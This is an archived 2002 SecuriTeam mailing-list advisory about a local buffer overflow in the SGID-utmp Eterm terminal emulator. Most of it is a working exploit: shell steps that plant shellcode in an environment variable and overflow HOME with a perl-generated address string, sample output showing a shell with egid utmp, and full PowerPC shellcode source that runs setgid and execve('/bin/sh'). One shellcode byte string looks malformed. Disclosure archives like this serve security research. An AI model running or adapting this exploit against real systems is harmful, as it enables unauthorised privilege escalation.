

# [EXPL] Eterm SGID 'utmp' Local Buffer Overflow

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-01/0091.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 01/17/02

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: Thu, 17 Jan 2002 08:50:19 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

-----

Eterm SGID 'utmp' Local Buffer Overflow

---

## SUMMARY

<<http://packages.debian.org/unstable/x11/eterm.html>> Enlightened Terminal Emulator is a terminal emulator in the spirit of xterm, rxvt, or eterm uses an Enlightenment style configuration file, as well as themes. Further, it uses Imlib's graphics engine to render images. A buffer overflow vulnerability allows local attackers to execute arbitrary code allowing them to gain higher privileges.

## DETAILS

Vulnerable systems:

eterm version 0.9.1-2

libimlib2 version 1.0.4-1

Exploit:

```
$ gcc execve.c -o execve
```

```
$ export EGG=`./execve` sizeof(shellcode)=73
```

```
$ ./getenv EGG
```

```
Shellcode @ 0x7ffff95
```

```
$ export HOME=`perl -e 'print "\x7f\xff\xff\x96"x1032`
```

```
$ Eterm
```

```
sh-2.05a$ id
```

```
uid=1000(core) gid=1000(core) egid=43(utmp) groups=1000(core)
```

## Securiteam: [EXPL] Eterm SGID 'utmp' Local Buffer Overflow

```
/* execve.c
*
* PowerPC Linux Shellcode
*
* by Charles Stevenson <core@bokeoa.com>
*
* original execve by my good friend
* Kevin Finisterre <dotslash@snoosoft.com>
*/

#include <stdio.h>

char shellcode[] =
/* setgid(43) utmp */
    "\x38\x60\x01\x37" /* 100004a0: li r3,311
*/
    "\x38\x63\xfe\xf4" /* 100004a4: addi r3,r3,-268
*/
    "\x3b\xc0\x01\x70" /* 100004a8: li r30,368
*/
    "\x7f\xc0\x1e\x70" /* 100004ac: srawi r0,r30,3
*/
    "\x44\xff\xff\x02" /* 100004b0:sc
*/
/* execve("/bin/sh") */
    "\x7c\xa5\x2a\x78" /* 100004b0: xor r5,r5,r5
*/
    "\x40\x82\xff\xed" /* 100004b4: bnel+ 100004a0
<main> */
    "\x7f\xe8\x02\xa6" /* 100004b8: mflr r31
*/
    "\x3b\xff\x01\x30" /* 100004bc: addi r31,r31,304
*/
    "\x38\x7f\xfe\xf4" /* 100004c0: addi r3,r31,-268
*/
    "\x90\x61\xff\xf8" /* 100004c4: stw r3,-8(r1)
*/
    "\x90\xa1\xffxfc" /* 100004c8: stw r5,-4(r1)
*/
    "\x38\x81\xff\xf8" /* 100004cc: addi r4,r1,-8
*/
    "\x3b\xc0\x01\x60" /* 100004d0: li r30,352
*/
    "\x7f\xc0\x2e\x70" /* 100004d4: srawi r0,r30,5
*/
    "\x44\xff\xff\x02" /* 100004d8:sc
*/
    "\x2f\x62\x69\x6e" /* 100004dc: cmpdi
cr6,r2,26990 */
    "\x2f\x73\x68\x00"; /* 100004e0: cmpdi
cr6,r19,26624 */
```

Securiteam: [EXPL] Eterm SGID 'utmp' Local Buffer Overflow

```
int main(int argc, char **argv) {
    fprintf(stderr, "sizeof(shellcode)=%d\n", sizeof(shellcode));
    //__asm__("b shellcode");
    printf("%s", shellcode);
    return 0;
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:core@bokeoa.com>> Charles 'core' Stevenson.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- 
- **Previous message:** [support@securiteam.com](mailto:support@securiteam.com): "[NT] Web Server 4D/eCommerce Directory Traversal Vulnerability"
  - **Messages sorted by:** [\[ date \]](#) [\[ thread \]](#) [\[ subject \]](#) [\[ author \]](#) [\[ attachment \]](#)